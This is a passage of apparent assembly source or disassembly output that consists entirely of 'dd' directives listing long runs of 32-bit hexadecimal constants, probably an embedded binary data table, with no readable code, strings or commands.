57AEE400h, 0DDEBCB44h, 0C2FB3036h dd 0A6D4BC40h, 0E4EE59DFh, 0FA55E006h, 17EA0320h, 8EDDC0F0h dd 260809Ch, 2B247F82h, 83C04C6Dh, 46C02FCBh, 175C2296h dd 0CB9B27h, 0F74C54F8h, 3013418Fh, 4C004A68h, 2EDE5AB2h dd 90D66038h, 414C23Fh, 5468BC03h, 0E93E19A9h, 0D8831EE2h dd 7E789EC6h, 0B6FB1809h, 0C9424DEh, 82CB9260h, 6BFEC010h dd 2E805DC8h, 5B04CB8Ah, 4C323C08h, 0EDF869E0h, 20847B79h dd 0FC8B7D50h, 1A6923h, 0C08CCB94h, 4486696Eh, 8B2ED85Fh dd 9E0349CBh, 0DA56D1C8h, 32184889h, 5C683194h, 31E5E460h dd 3AB00512h, 7532354h, 20C3868Eh, 0C2542A2Bh, 51B2C530h dd 6038AEDEh, 0EE40687Bh, 0BB440AEDh, 4AC518E4h, 0A1322836h dd 2F26E200h, 98C6FDA5h, 4D700A4h, 40A8E915h, 57077252h dd 0D8817ECEh, 0ED0A6180h, 15C00B8h, 949063A6h, 9C008F1Ch dd 69792B0Bh, 7F109254h, 8D5C0762h, 60E9B957h, 6CA0C633h dd 1266DE1Eh, 0D6ED8FFFh, 5C13A0C1h, 1051B53h, 0C83B5F6Dh dd 0D02BF315h, 271CF7FFh, 0E300DC29h, 8DF43E01h, 0AF3900C5h dd 0E4DE0D80h, 0AD078241h, 0A9FDB72Dh, 0F8165250h, 5FE300D1h dd 15A09FB6h, 9E0377F9h, 699065DFh, 5BE4B0C4h, 66970EA6h dd 0BD6E2Fh, 0DEBE0918h, 0FF008FAFh, 0C605D0D8h, 0F80A04DDh dd 27310F06h, 0A301DEA8h, 8019B7BDh, 0E216B831h, 0D85249h dd 0E5A0B52Bh, 0A3ADF239h, 0F36A9E00h, 0F0C98441h, 13AC0090h dd 75B58FC1h, 0C00D99Fh, 67B4AD79h, 6C0D31h, 45A09516h dd 8E19D527h, 558014A5h, 6B201C4h, 53DA108Ch, 1485F08Dh dd 15531CBAh, 0E45FC05Dh, 0A9222975h, 1903D300h, 62598F20h dd 0D22408CDh, 0C9D91618h, 148C05C0h, 74EFE971h, 53CA34E0h dd 33143000h, 7561A5B1h, 0B31E00BBh, 72661056h, 7E29BA77h dd 0D1C03442h, 1AACA6E8h, 705EB29Ah, 8D622030h, 0C25A141Eh dd 0B5443C14h, 6D080400h, 3A472B24h, 0CE8ACFFAh, 0E0BDC1h dd 0CCC411B3h, 86001D01h, 961F4167h, 910F4Bh, 0A9350DF5h dd 2FE9A1A0h, 7F012B79h, 0B64C24C2h, 0C21D597h, 3E6553E4h dd 0D310C1C6h, 0D841ED2h, 22B3E40Eh, 4330820Ah, 2870031Ch dd 11CE15A8h, 562A1100h, 34A2A9E1h, 8B300EC2h, 138CC1FCh dd 5500C521h, 667F86E1h, 24B33E5Ah, 8B44AEF3h, 0BA80CCABh dd 3921B5C2h, 0A90F0C00h, 8089858Bh, 18ADEE47h, 0A8CED79Fh dd 4318CF5Eh, 769050AAh, 36A2FE48h, 9810BC1Fh, 78630E46h dd 9044A1FCh, 0CA88444Ch, 0DA9D0098h, 0B15686BDh, 48C1AC5Bh dd 361F2C6Dh, 638A420h, 20F03F06h, 0FE0EB003h, 205750ABh dd 0BFA128FAh, 0C708CCF3h, 817F13D1h, 5C9C7805h, 0A7805125h dd 0C1CA6B8Eh, 9DE70C0h, 80DBEDFFh, 6C9DD310h, 78395Dh dd 63B8261h dd 8AC8F907h, 0A5961903h, 98C789EEh, 2E6E1A3h, 48499B76h dd 7A60CB81h, 8D0008A6h, 0ECFD999Eh, 3548F65h, 0E6D7BAD3h dd 0D4035559h, 7EA292F2h, 7D102957h, 7DCA5F04h, 986014h dd 0DCF1CF9Dh, 0E8BED7BFh, 958B3D2Bh, 44D8E300h, 9720FDEh dd 0CC9D580Ch, 444A29F4h, 0C9441CDBh, 0A54D4453h, 0E906E644h dd 10CD4C11h, 8008F867h, 0AC8BFB12h, 48BCF523h, 3F76410Bh dd 200E02DBh, 32158F1Fh, 41F78600h, 73A02AF3h, 0CC3A0080h dd 97CEE50Fh, 0BF1EB438h, 0D70083EEh, 0BA94BC2Eh, 0F163009Eh dd 0D7FEB7Ch, 5E05EA3Eh, 70FC295Fh, 34C83B80h, 0CB260987h dd 9B80BB2Ch, 531950ECh, 378A4000h, 0B485D899h, 0AD83004Dh dd 88FC17F3h, 0ED7563A0h, 5408AE00h, 0E43BCB20h, 0B4060190h dd 41175B1Bh, 2D1180CFh, 546F9B73h, 897000E9h, 16584A1Fh dd 600DC48h, 0FB8AA288h, 1B6293Fh, 0BEBA6B7Ah, 0C86057A8h dd 503C6FB0h, 0DF180D4h, 2BA34224h, 4FA0009Dh, 0C6B03044h dd 0F4A38670h, 0FF3DD398h, 0E9EAAA03h, 986F2E8Dh, 30DEA006h dd 91108F78h, 8201E7F8h, 0A7901FC8h, 1230843Eh, 0D98007Dh dd 74E9300Bh, 1D0F7EA3h, 0B4A9E4DBh, 0D74B00A0h, 0C7254041h dd 74F400CDh, 280B0981h, 87009C91h, 41E682D3h, 3A6BB486h dd 0D0804377h, 0F957B2ACh, 0C7004758h, 9E546261h, 3497696h dd 4FAAF2B0h, 498636FEh, 295CAB30h, 174BA59h, 4910CE38h dd 0DCEE5F8Eh, 0C83E7264h, 0B96A8B8Ch, 0A8330169h, 91E84DD3h dd 0E08007F0h, 0D3BFF1DCh, 0ACB4682h, 8D4E15C8h, 73372C00h dd 353DB407h, 63AD004Dh, 574C4D6h, 0CC0EF9E8h, 4050DEA7h dd 0F7BF7352h, 4826005Bh, 202D03BAh, 5F3EC899h, 0D57C878Dh dd 5B0BB7Ah, 9C4F38h, 0A097E3FCh, 0B98C5D6Dh, 0AC7DB000h dd 0A6246971h, 0E8FB0739h, 0E31CC0C3h, 0CA87372h, 0D0009EDDh dd 8DA72FDBh, 255584h, 0D3F2EA4Ah, 25F165Bh, 0E431103h dd 0A875061Fh, 900D1251h, 0B2A30072h, 8421AE4Fh, 9E4C881Ah dd 34EB0EC6h, 626360D3h, 8238D8h, 4FCCAA90h, 7B5B8E85h dd 970E23ECh, 80F51D78h, 0DB1BB5ECh, 8EAE12A6h, 59100090h dd 982C22B9h, 0A0FCE000h, 0B8E9FB5Eh, 7DAC00F5h, 1342B7B2h dd 30FEC54Ch, 90290300h, 0D2507CB3h, 0F41C0EA7h, 56E0E697h dd 7F1F8FA0h, 926D5E3Ch, 38071D35h, 8F8819Dh, 0C5810F09h dd 0AACBCF5Dh, 0AB63E4h, 81F64FB5h, 39EFD7B7h, 0CDEBE907h dd 9020AF3Dh, 3E1144Ah, 0E0185DFEh, 0ACA0AB62h, 8F00FC2Dh dd 9F5CEE4Bh, 5AB5C5h, 0D3338D19h, 0F986F12Eh, 96D4100h dd 0F5D2D0D6h, 257D07AFh, 0D068D10Ch, 0B7C84AADh, 6F29B500h dd 205364C1h, 7C7F16A6h, 7D340055h, 0E83841BFh, 4E307900h dd 0FB43C9E0h, 0FEFAFDh, 0F7490D3Fh, 0F5BA19F6h, 721CD3Ah dd 459375CCh, 8015A6h, 7E486134h, 0A1241FE5h, 9C21C312h dd 9F2FC003h, 9815B306h, 0FB4033h, 8BAFE1EEh, 5F63FF9Dh dd 492E2500h, 0D67D9FCFh, 26E00167h, 0D28D0B04h, 685CCC20h dd 5A4E7C00h, 0ADB91BCDh, 3D709872h, 27009AB8h, 0A4FC262Dh dd 3C984E18h, 0BD432101h, 0E77CD207h, 0A7848032h, 0D6F28371h dd 0FCCFB798h, 7A00C490h, 0DD2AA591h, 51CBB1h, 0D133F95Dh dd 0BAB4087Fh, 72C89D3Fh, 56106063h, 0D3C1ABACh, 0A3CEA965h dd 9555434h, 0B8F83DB5h, 3360940Fh, 0A8D9365Eh, 50E7A25Ch dd 27005660h, 0D0AC5C9Eh, 0CD8896h, 751353D6h, 576F2B66h dd 4C2AF600h, 0FB7DAE0Ch, 68E83ACBh, 50F0F880h, 69B7609Eh dd 3BD47C52h, 37FF80DEh, 88A432C4h, 1CE700F2h, 0CAA5D55Fh dd 7F002079h, 34D24D29h, 6358DBh, 2BBF5E49h, 550A7C7Ah dd 0AA045200h, 0C27B0B44h, 1F0609F8h, 2D011EFFh, 0D4AF84BDh dd 4E008751h, 92726D40h, 38B14CEBh, 7C80F3FCh, 3891C218h dd 54006A8Dh, 0A5CC398Ah, 0E13717h, 0C57914B1h, 6B3E3F9Ah dd 93FF20C0h, 3C1C36C0h, 1775EF1h, 47B33761h, 0C387120Dh dd 0C620D087h, 0B49858D4h, 6838FA06h, 40E5F4h, 45EDD9ACh dd 40DB010Dh, 4731D200h, 0AB217196h, 4CF60095h, 0DC7C57F2h dd 2D002920h, 5A80BA22h, 307974Dh, 353098C7h, 0EE9842FAh dd 0F0E6C117h, 4D04027Dh, 0B133D72h, 7AC068C0h, 0F49500A7h dd 9A89AEEh, 5A010368h, 4FD7908Ch, 3080D970h, 898004C0h dd 0FF9014D8h, 0D107667Ch, 8384B8Dh, 1D60A690h, 87E50E95h dd 0FD4021EAh, 39F1A9D0h, 0C98D9200h, 451284F5h, 0EF220024h dd 31FBE8D1h, 72006746h, 9CE6E5B6h, 0F1E86B8h, 56A9B573h dd 5E996360h, 0EF019AE7h, 0F268BE12h, 55D0E045h, 9E9C0056h dd 0EB646F92h, 0A3005A2Dh, 5C5E420h, 0EE279C7h, 0EF8A7551h dd 59D0C9A0h, 340078E0h, 0B0C415A1h, 8C1988h, 0E10B777Ch dd 8EDA3EE7h, 0EBF5F71Dh, 0DFA26980h, 24342CB3h, 0F4BFCEh dd 81714363h, 5CBADA29h, 0A33D8200h, 386A119Fh, 19790F03h dd 4940F35Eh, 12EC7BDDh, 0E91EF600h, 18913CAFh, 0A21B00A4h dd 4D6F3A87h, 9E025F68h, 0B68E9CA0h, 25E44127h, 0B8D8ECC8h dd 73B50912h, 0BC027801h, 78C003A4h, 0F034C6Ah, 81C24E32h dd 0C0CCE1h, 6D59FFh, 65722D7Ch, 67F12BD1h, 0B10B39B8h dd 1CAEF0Ah, 50645E80h, 0B52230h, 31A2BC1Fh, 8F91B96Fh dd 0A68A2800h, 0E7C5EA3Bh, 60C300FDh, 0FB0F1DFEh, 0ED006514h dd 0C7FABE03h, 0B8D4F35Bh, 0EEBB909Dh, 340613E1h, 4E1A1F6Fh dd 0E925D967h, 9AAC0024h, 8137AB2Bh, 25473200h, 0EF78CDB9h dd 578C003Fh, 18A29BD8h, 30E8F36h, 40DD3C44h, 0AF527281h dd 69B800FFh, 38A86761h, 0C100E314h, 6ABFC358h, 504136h dd 0C63451DFh, 0B290AA7h, 87392B00h, 2031EE96h, 485D7419h dd 0D301A8FEh, 2CE15C1Dh, 8C82E44Ch, 15E84400h, 0CBFFF7D8h dd 0C6DB0103h, 9D888339h, 8A52DCB2h, 0F3EFED00h, 35380A60h dd 1E0D1EFEh, 0C8F2C057h, 0FA527B93h, 0A178139h, 0D476E27Dh dd 71BE803Eh, 0BC982E51h, 0CDE900EFh, 42B99F2Dh, 39754B27h dd 0F7795900h, 105F9D50h, 0AA4E0E1Ch, 44A03F35h, 481AB105h dd 559D658h, 0A1A0A303h, 0C8A5D40Fh, 0B0C8604Ch, 0C5902EB7h dd 0A43D0101h, 89F68824h, 0B264470h, 4A2734D4h, 0D68FCC00h dd 0E50BF1E8h, 808D8C9Bh, 730A89D4h, 1FCA18D1h, 3B129B4h dd 0E2F75703h, 32B9242h, 180BB278h, 81C05153h, 0BC001AC4h dd 97D06B0Ah, 1CFFE079h, 0C0F2B97Ch, 0DC8295ADh, 427F8F8Dh dd 1C23D600h, 0F081E147h, 0FD4007BBh, 7FB092A3h, 0DE3CEE67h dd 340F9CD5h, 0BA8F52F3h, 0F1A33F60h, 81F26F71h, 0DCA49554h dd 599E3A00h, 5C3983F5h, 3C300BF8h, 96005BAEh, 0AB4D1D13h dd 1ADE2201h, 0A3CBDB26h, 0BEC9C080h, 97CF08B8h, 4CB63800h dd 0EC836810h, 55D400F0h, 0BC60628Dh, 5B399F69h, 806A0E11h dd 52656074h, 1C3865Dh, 0B4491E27h, 302C9AF2h, 4100D0F7h dd 0CDC40C26h, 36A0F2Ah, 0E023DA28h, 0AFA8B24Bh, 0C50092AEh dd 2409970Ah, 0A0D57408h, 1978C8D2h, 0F872DCA6h, 0ECE8FAA1h dd 75606DE9h, 0CF0619CCh, 0C0B7606Bh, 0DEFDFF9Ch, 0FE45F503h dd 0D01B232Fh, 3A017087h, 1F07265h, 0B25667A0h, 0FACBE9B1h dd 0D3D75D60h, 2E3CBB00h, 8A5A27C5h, 4D7491h, 0A41EDAFBh dd 5D1BA667h, 0CB8D0D00h, 0CEFEAB4Ah, 8FE7009Eh, 10B6FFD0h dd 1C006DD5h, 0B4CF7C18h, 0B15558h, 895E9DB0h, 94D42C44h dd 68F01512h, 0AB82F800h dd 24BF18C2h, 3280D0Eh, 0E0BC84ADh, 60E799F0h, 5DAC8750h dd 58688A00h, 4A0AC66Dh, 0F1011E35h, 2B179Fh, 9CDD1D24h dd 0B01CDA3Ah, 4FC0D1ADh, 1067084Eh, 7704EDCh, 25A84B8Ch dd 0E4CC0B3h, 0B500A381h, 93F1746Bh, 98C4766h, 0CF16C02Bh dd 0BABDD480h, 2600A471h, 5346406h, 91AFE3h, 0BF257EB6h dd 7BC23073h, 79000E75h, 57EDE2C6h, 488AD5A3h, 0AA285A41h dd 0DE871190h, 513D8090h, 0F4FC157Ch, 0B0F3003Eh, 0D186C457h dd 0DC00770Ah, 0F4D7887Bh, 377A5978h, 70C15E12h, 7F7379E1h dd 8C3AC628h, 0BD069398h, 8B77A272h, 239E1D68h, 82EB8087h dd 57F4B333h, 48009C9Eh, 812AA24h, 0BEBC1751h, 34F44128h dd 0CD41F836h, 28B6C5E4h, 0A09000CCh, 626EB745h, 42C25826h dd 9B73E900h, 7172698Bh, 0FF5EC000h, 0EDC12A3Fh, 0D6BC18EEh dd 207DA845h, 33721807h, 7720BDCCh, 5D866201h, 3900F80Fh dd 3772DF99h, 0FC008C1Ch, 47D08E0Eh, 941D3ABBh, 43CA1D1Ch dd 0A139FECFh, 5C7014EAh, 9C1C89E8h, 0F64113A6h, 9EC6A84Fh dd 1D213080h, 0E4B2A4Eh, 757CC0C0h, 0EB4F62h, 79674C76h dd 0E1A48C3Eh, 0FC11DC00h, 0A6ED1D9Fh, 9438E1B2h, 871E429Eh dd 32101F3Dh, 0F6020C71h, 2058BB85h, 6AA59002h, 87FB8AA4h dd 1E32B1A0h, 90C3B7h, 0BA1AB9E1h, 0F493D7E7h, 4E49D400h dd 3BCF34B7h, 0B0F600E9h, 0A86659A9h, 1500DCD2h, 0A53C969Ch dd 56451Fh, 0D3FAC4F9h, 0DED8E84Dh, 2955CE40h, 7E023E6h dd 0C7C4BD5Bh, 89FEE6FBh, 18384894h, 3D89378Bh, 1BAA0E95h dd 0C0BC1281h, 0CEAD31D6h, 3E0070C9h, 8A7DA256h, 1092D03h dd 0CAFC2955h, 0FC434AABh, 800002D6h, 0E840CC1Eh, 0B6D049h dd 0D4811492h, 3B697CF6h, 0F864992Ah, 0E0AD5D1Ch, 14F33F04h dd 6B0B2C90h, 4ECD16B3h, 22E480E2h, 7200E72Fh, 0EAE939F7h dd 1C522797h, 0C1C5047Bh, 0D590C4BBh, 0E04180CCh, 1E0ABE43h dd 59351323h, 0DA180027h, 5226CAF7h, 685FC707h, 18008692h dd 2E3856CDh, 95AE55Eh, 9002C947h, 5C40680Dh, 8503490Fh dd 8C446E59h, 5A81E8E0h, 33EE13A0h, 3FB0004Bh, 30580C21h dd 48860903h, 1FD7CFAh, 0F3631388h, 41400215h, 2C2747C4h dd 5CA0E7A0h, 35DCFF4h, 0BC39A5E2h, 70F82143h, 12045E7Ch dd 5BCEFA10h, 40AE2B0Eh, 9A423703h, 9C6097C0h, 8C7DAE01h dd 521AAB5Eh, 0C72896h, 45C30C94h, 5B307A8Bh, 0E6DB18AFh dd 2B280072h, 0FBBA45Dh, 0F8048E25h, 7D7309D4h, 1CE30EC0h dd 0BE2C02EBh, 57B78B7Ah, 0F5F62469h, 2D783010h, 62CCA77h dd 5C00E4B4h, 0D717784Dh, 5D971F2Bh, 0F7448070h, 867DACD2h dd 3CF56A3Bh, 8B7B0523h, 0EC5CD3B4h, 4DE73040h, 48287FFCh dd 0D8009344h, 0B2F49DAFh, 0B700437Dh, 7614DBA0h, 0B7BA9BCCh dd 4E89D5C0h, 661B4C00h, 812DF875h, 0D3620006h, 30FCC9Ch dd 9B0074CFh, 0A6796A63h, 3D932339h, 0AB89AE97h, 0C98F33C0h dd 9C0765h, 5BBC57A0h, 4500C57Ch, 0BCCB989h, 48AFA1DCh dd 287D1516h, 1EB1243h, 0D0EE97FAh, 640E99DAh, 0BC012908h dd 0E6868008h, 2CF4CDDCh, 487C01ADh, 7BF770F0h, 85E8C007h dd 62EB1500h, 99EA5531h, 0BDA9008Fh, 5F63FE41h, 731D3423h dd 25C0B1E0h, 0D87C5859h, 0E720053h, 0D1C22E09h, 77000756h dd 12AD416Fh, 3F6B3032h, 0C500B2DFh, 0FC23B44Ch, 0E217F43Ah dd 2C40D9CDh, 3B6646DAh, 0B08F00DCh, 0BAD7CAD5h, 91003C4Ch dd 0D994391Bh, 2830A8E4h, 70E8D267h, 192B1FB0h, 811070B9h dd 101F9F7h, 6B8EB2A2h, 18702F3Eh, 0E9EE00C3h, 0F404C7F3h dd 8600501Dh, 2D53694Ch, 1FA38D62h, 774175Ah, 50F0654Dh dd 0DFC4A088h, 0E34B3Ch, 98A537DCh, 98592B8Dh, 0E15A0021h dd 0EC55F328h, 950099CEh, 33250CFFh, 237421h, 0E001A09Eh dd 0DEE3C1A5h, 0B6990F0Eh, 0C8D7800Eh, 0FD5EF6h, 0FA6F2AECh dd 1984A8D6h, 0DEB85F50h, 8BEF3300h, 2EB7B3A0h, 5E9200D3h dd 3684ED11h, 0DA0E3D09h, 0AEFB246Fh, 21FFC9BFh, 0DDFA1C50h dd 6FE034h, 43F7956Bh, 0B5E42A6Eh, 14777A00h, 0D89D9730h dd 520B2A6h, 0AD7CC5FBh, 0A84CD344h, 2DE488D4h, 16D91C13h dd 0E5155440h, 0A02A73h, 0A73996E3h, 8B7067B3h, 0D44E792Ch dd 0ECFC80BFh, 2FE0129Eh, 7F5F7438h, 8CEE45h, 3C6413CBh dd 1EAB6281h, 900F285Ah, 0AF00109Ch, 20D995Bh, 0CA00E831h dd 9127F447h, 66B419h, 0FB87C950h, 8B2BC041h, 0D9C6A600h dd 94481822h, 49DB0B4Fh, 0BA009BF0h, 4565097Fh, 742E2C00h dd 0D5895068h, 8C7C02BFh, 355B143Eh, 0A0EE1CC0h, 8C0C4726h dd 0DBC2D04h, 0CB268300h, 6CE7DB27h, 0BA471F3Ch, 33CD4D80h dd 173DE0Ch, 9B0E526Fh, 0F8F3C597h, 1500F655h, 81FF17E2h dd 5E7E5166h, 3168009Eh, 3424B48Eh, 0EAA4C100h, 0F3DE45D2h dd 0C0D71F59h, 6DCB0076h, 0AB329E1Dh, 2B006FEEh, 7F48828Dh dd 0A79766h, 7C8780DAh, 32CF0D4Ah, 0FD0BB1FAh, 25D2301Fh dd 38A3A6E0h, 1710CC80h, 0C801F652h, 0AE0B7109h, 58607F82h dd 8EF4001Dh, 0C7A08789h, 0B400339Dh, 0B16F2B6Dh, 307D2902h dd 2490CD17h, 6004D84Eh, 0A8C6B741h, 3F1BCCC0h, 982800F5h dd 0F4499D95h, 0CF60E671h, 3C0A7E30h, 0B08EC04h, 51A3A790h dd 18239061h, 852B07F0h, 3920D187h, 0C1E21D00h, 37007D0Bh dd 725E6289h, 0E23274Eh, 6A7A7507h, 0A1B42D43h, 5CC1F8A8h dd 3B60E300h, 6261DC2Ah, 11A3007Fh, 0C00F01C4h, 0C21FD3B7h dd 8D961619h, 0FA3E5403h, 0ACC0FCD9h, 2C9DAC1h, 1F6208CDh dd 8448F9C3h, 0E0C0BA8Dh, 9D586C63h, 0A350002Fh, 99554B6h dd 8000C7C5h, 0AC5BF7A5h, 3EA8E3Eh, 0E3FA6408h, 46882191h dd 250F06AAh, 203017B6h, 0B980D1Ch, 1C09A54h, 3EC7EBE9h dd 609D264Ch, 6D006CC5h, 310609BBh, 7E4D3537h, 414507C0h dd 7F222ABh, 6988A1AAh, 36BEC07Dh, 0EBE31F00h, 21F0A006h dd 0C02A4CE4h, 0B2149805h, 968C800Fh, 0AC1CC6F9h, 0C24056EBh dd 0DFC1586Bh, 0D6AB0752h, 11892C61h, 39CBED30h, 0AA298048h dd 5EB2FE08h, 0E9AC42DAh, 8860C92Dh, 6F0C4CD9h, 10CE9C4Dh dd 0B94439EAh, 0CD5C2400h, 3F478775h, 7F0237E2h, 2DEC82D1h dd 0B4F04Dh, 5A09C744h, 3606D628h, 0A0BC3271h, 80E1B108h dd 624601D0h, 60C7E3C3h, 0F58024EFh, 0B6F2E92h, 36483EF2h dd 0E6F14C98h, 0DF087B00h, 6E4A33A2h, 7AC9031Eh, 0CC911972h dd 6A77A6F8h, 0CFB11B03h, 0A2A346h, 0C3496E10h, 0F2E4DD0Ch dd 0E52B4F09h, 609D80F6h, 8167A2h, 1BB0C8A9h, 2841DA02h dd 1A8A8530h, 22F14F7h, 0ADC2D9F9h, 0D463B2BFh, 321D0FB0h dd 1A6BE707h, 0B41091D8h, 1763338h, 0DF78215h, 0C704C954h dd 641BDFB0h, 7BBE4900h, 7C1E1F76h, 671D483Fh, 8069AA13h dd 0F4387904h, 0EE2B401Ch, 8BD4B204h, 2ACBC4C0h, 4CE584Bh dd 523FCC03h, 6C90221Ch, 1F246979h, 0C50F349Fh, 0F28C8058h dd 0E082142h, 0B8B08885h, 0A3457B80h, 9090F9F0h, 7F00CF98h dd 0EDEA0E05h, 2DBD3BFDh, 0DC006581h, 0B4486777h, 27BFBC09h dd 3434015Dh, 2E01B7A0h, 0DF652033h, 450E2B00h, 2A9960A4h dd 444B1265h, 7D208F7Bh, 54C0DC4Ah, 7DBFB88Bh, 516E005Fh dd 53440E33h, 0A61745FCh, 741CD110h, 0B7FF4F40h, 76A0D4h dd 69B36373h, 7B06D734h, 0F20033E8h, 16591994h, 878D58h dd 8C505EAEh, 0C038B27Dh dd 0AA751001h, 7C5916CCh, 64AB60h, 90C6E186h, 7712A9C4h dd 3A0F4AF6h, 0C0EF5575h, 0C7675EA8h, 1E8C3F2Dh, 6A0DB580h dd 0D14CF335h, 557BE91Fh, 4BBCD580h, 3BE533F0h, 160079B6h dd 9CB58E28h, 9200A415h, 0A53220F4h, 3E7649h, 93972AFDh dd 0D44E0DD6h, 9E8A5F07h, 99C03FD3h, 9B8FF2Eh, 5593FE44h dd 9FCC3860h, 0D626C700h, 0F0DDE009h, 90B475CDh, 53FE47h dd 17227545h, 0D6EA355Dh, 0A1F61F00h, 10B38997h, 58EC5Ch dd 195D1CD3h, 3F2798E7h, 94DED01Fh, 0D65760B0h, 1414AD8h dd 729DC498h, 715720A2h, 0A1BBAE16h, 0ADF63007h, 0ADC1B6C5h dd 38808551h, 53163255h, 0A10E8938h, 80B13E6Ch, 0C04BAC28h dd 0BCEC0009h, 4A8FA9F7h, 0A4EA5599h, 88945703h, 132F2ADh dd 3172B559h, 8252B342h, 0C8BF8E91h, 56000F41h, 1C680E7Bh dd 0C16A6200h, 519E5C95h, 308F0CB3h, 58295302h, 0A9650107h dd 16E012D5h, 8AEAB7h, 6FED460Ch, 0B1BFDB20h, 35583200h dd 8E55F089h, 0BCF0048h, 191611FAh, 0E0B8A19Ah, 2C625D00h dd 29789836h, 0CEE8D0h, 96A91748h, 0ABA542Eh, 8BD80200h dd 0B836B4D5h, 31C403CEh, 9E856558h, 0FBD90F80h, 3A2E5101h dd 80299472h, 1FD28BE8h, 0E7A4DA83h, 2CE0D4AEh, 5639874Ah dd 5468C700h, 0AD519430h, 0B45A000Eh, 0A57D061Ch, 8F28ACF9h dd 0A03DC88h, 0B5577E52h, 0EBD4F251h, 507C700h, 18FE59CCh dd 18B084E1h, 2003FD2h, 0AF9FD927h, 0C5CDCBEh, 381EC1B3h dd 0A000ED31h, 0AEC2AD7Fh, 158B6DEh, 0AA97FB5Ah, 9E50EFFFh dd 0A981D661h, 0D690C43h, 318DBBD0h, 0DE819C83h, 717180BFh dd 0E5DC18C0h, 0CF32090Ah, 30100C01h, 29004EFDh, 0AA873E05h dd 0D6450Dh, 40E3E71Eh, 987DA5C4h, 0DF002A74h, 0AC292389h dd 4A0B55Eh, 0BA90779Eh, 0E1A3873Dh, 0ECE8684Eh, 722C99A3h dd 510E6D56h, 0E0836FA7h, 0AAFDED2h, 0E0AFB0E1h, 55220F04h dd 0B2808B30h, 0B3157260h, 3516C200h, 0D39839CAh, 0D579039Ch dd 33E6C562h, 380118D6h, 3B55462Dh, 4F0C652h, 1921867Fh dd 22E92662h, 51B2220Ch, 1184C8F6h, 3050DB6Dh, 0ADB54933h dd 18DA6F06h, 0C5B27562h, 96812601h, 62CA0881h, 20CC34A9h dd 0A230BABEh, 89B3183Bh, 0E1B23370h, 8103EE50h, 8633BCA7h dd 4B383D25h, 0E221FB03h, 28C1ECFDh, 0E011E001h, 0C453B3Eh dd 719AB18Eh, 282C78E3h, 780897B3h, 1FB43023h, 0B2C77B71h dd 0ABBE4EC0h, 52364E68h, 8B0694D5h, 0F84C1B0Dh, 80847137h dd 2853C5E0h, 767F06C0h, 0D037F680h, 0B5759915h, 1F3A788Ch dd 418EF08h, 0D741C3DFh, 0FC587F7Dh, 0F2FAE94Bh, 5595E000h dd 0A8E235A2h, 46EA0012h, 0CCB58A9Bh, 0C6024E52h, 80F738EFh dd 0D99CA03Ah, 330742Fh, 0C6114D62h, 8307384h, 27C421D2h dd 0FE020074h, 6019152Fh, 80224D89h, 228600E6h, 0F7F3B23Ch dd 0BA03639Bh, 6D7FFBD5h, 0BE9EC0AFh, 6A7FE68h, 0D935423Fh dd 3900E1C3h, 92BDFDD8h, 19E4F8FFh, 8F1B73Eh, 0F7218063h dd 4A0DBDF5h, 0E94E006Dh, 9B5073D4h, 80347E0Ch, 99C0818Fh dd 7FA1B8h, 76879F8Eh, 3F89BF31h, 60611490h, 0B1C22AE9h dd 0D6FB850h, 61740E79h, 500070CBh, 1BCF5C0Eh, 9975E000h dd 0C8A26BF9h, 0BF740F87h, 0DFA0CB8Eh, 511CA60Eh, 0EEBE6200h dd 34C012B4h, 89DA60DDh, 75667939h, 25BBD203h, 0A8F3081Bh dd 2575BE3h, 0F28D610Bh, 0E8A0C9ACh, 34F9EC93h, 1F491DE8h dd 79037CB0h, 0B08C0E29h, 0B72900FCh, 0B6D19862h, 4E2435B8h dd 6B80341Eh, 0A70659DAh, 914B1FF0h, 56F10741h, 0FDC52036h dd 3875A92Bh, 2904F4ACh, 3D623274h, 0FA20AE62h, 247421h dd 87B437BBh, 81828FBEh, 26853E18h, 0CE3BC0B8h, 71CEAFA9h dd 5D19B9C0h, 0B85CF653h, 0F8A9000Ah, 0ECBBE696h, 13781884h dd 334EB027h, 0DA70B9C3h, 603FEA6Ch, 14FC90A0h, 8CB161A6h dd 99C5280h, 933F72F0h, 708B072Bh, 0BBB39546h, 0B4A2A8BFh dd 94A500F3h, 0EE552EA3h, 0ECF0CF62h, 6BD7600h, 57B7950Ah dd 0B8721D37h, 637A422Bh, 40D513DFh, 1E713B0Bh, 0C661A5B9h dd 79C72E8Eh, 5FE0A702h, 0C06BBE19h, 0E435FB7Fh, 0E3750CF7h dd 2FF91C33h, 7826CCA4h, 1001815h, 71ABB662h, 0CF670473h dd 908FC29Fh, 2B7E2434h, 662C1D00h, 0CB5BA796h, 0A2DC007Fh dd 8053EC43h, 0CF0CE095h, 58C32DC0h, 0CB6E008Dh, 0F0C93ABAh dd 817730C8h, 4E0067EAh, 11442DF3h, 0A578DEh, 0D52EE269h dd 0ABB2EC49h, 838FCE00h, 77E9D3D2h, 5D2A1C24h, 0E58800FAh dd 3D0A9E3Fh, 0D600B0F8h, 9127FB70h, 0E83E581Eh, 0A222184Bh dd 94487C9Bh, 81442A0Ch, 0C05C08EDh, 8F1CDF21h, 0AC0C65F5h dd 180247ADh, 3C0C00C5h, 42E08325h, 217EB81Ch, 0F41BD001h dd 8E924A6Fh, 2242881h, 8046AC33h, 0CE184239h, 71CF316h dd 8DB5502Dh, 197432Eh, 108C2000h, 0EEAFAECEh, 27E26Ah dd 0A8EACCE9h, 0A089C55Bh, 0C8327836h, 28222931h, 18595968h dd 0AB8B003Fh, 0EF519FB2h, 5001F1B0h, 599C0136h, 0B8914A6Dh dd 0CE419E1Fh, 0CDBCF312h, 3240B00Ch, 0CE1D0060h, 342D0E0Fh dd 7802BF3Dh, 16FB775Dh, 0F1AEE192h, 454D8C40h, 0A65A0343h dd 0EB549DCAh, 800C52E9h, 0FE948410h, 16B43Ch, 58153366h dd 1E99DDF9h, 2272A40Eh, 9C31C3EAh, 304E9877h, 0EDF50355h dd 8E0CB536h, 580A7B80h, 0CB779700h, 2B7321B7h, 115F021Ch dd 0E55D6076h, 96268540h, 0A8174E04h, 71800BD3h, 1DAE88h dd 0AB7BF90Dh, 85909FF0h, 0B1A40700h, 0C96FD423h, 0F1FF004Fh dd 88E643E1h, 0D500FA93h, 55BCDE25h, 9A9681Fh, 869D972Ch dd 0D175F00h, 0DB00A1E4h, 525D3423h, 0E2DA1Dh, 86D6A338h dd 8574D5DFh, 18D604A7h, 10D1B9EEh, 80EBCE7Ah, 358F2DD0h dd 0AE24CDh, 6B1E7933h, 0AD66E96Dh, 0F1127AE6h, 0F806FEE3h dd 2029379Ch, 363B76E7h, 0CA19007Dh, 6EF4D243h, 55230737h dd 